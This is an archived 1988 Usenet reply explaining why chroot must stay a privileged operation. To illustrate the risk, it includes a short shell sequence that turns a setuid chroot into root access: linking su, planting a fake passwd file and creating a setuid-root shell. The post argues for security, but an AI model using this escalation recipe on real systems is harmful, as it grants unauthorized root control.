Xref: utzoo news.admin:4113 news.sysadmin:1734 comp.mail.uucp:2394
Path: utzoo!utgpu!watmath!clyde!att!osu-cis!killer!texbell!nuchat!steve
From: steve@nuchat.UUCP (Steve Nuchia)
Newsgroups: news.admin,news.sysadmin,comp.mail.uucp
Subject: Re: Dangerous hole in Usenet!
Message-ID: <2673@nuchat.UUCP>
Date: 30 Nov 88 00:40:41 GMT
References: <155@ecicrl.UUCP>
Organization: South Coast Computing Services, Inc. - Houston, Tx
Lines: 31

From article <155@ecicrl.UUCP>, by clewis@ecicrl.UUCP (Chris Lewis):
> Secondly, can someone out there explain why chroot is privileged?  Or
> why /etc/chroot isn't setuid?  It seems pretty darn silly that some
> mechanism that can only be used for *reducing* access rights requires
> root permission.  If only /etc/chroot allowed anybody to run it, and
> it carefully made sure that there was a setuid(getuid()) etc before
> invoking whatever it was going to invoke, the uuhosts unshar would
> be trivial.

The problem is that other (setuid) programs expect certain files, say
/etc/passwd, to be where they belong.  Assuming I am an ordinary user
with access to a setuid chroot and that /bin and /tmp are on the same
file system:
 
	mkdir /tmp/bin /tmp/etc
	ln /bin/su /tmp/bin
	cp prefab.passwd /tmp/etc/passwd
	cp /bin/sh /tmp/bin
	chroot /tmp
	su  
/* Look ma, no password! */
	chown root /bin/sh
	chmod 4555 /bin/sh
un-chroot
	/tmp/bin/sh

So, don't make chroot easy; it is more powerful than it looks.
-- 
Steve Nuchia	      South Coast Computing Services
uunet!nuchat!steve    POB 890952  Houston, Texas  77289
(713) 964 2462	      Consultation & Systems, Support for PD Software.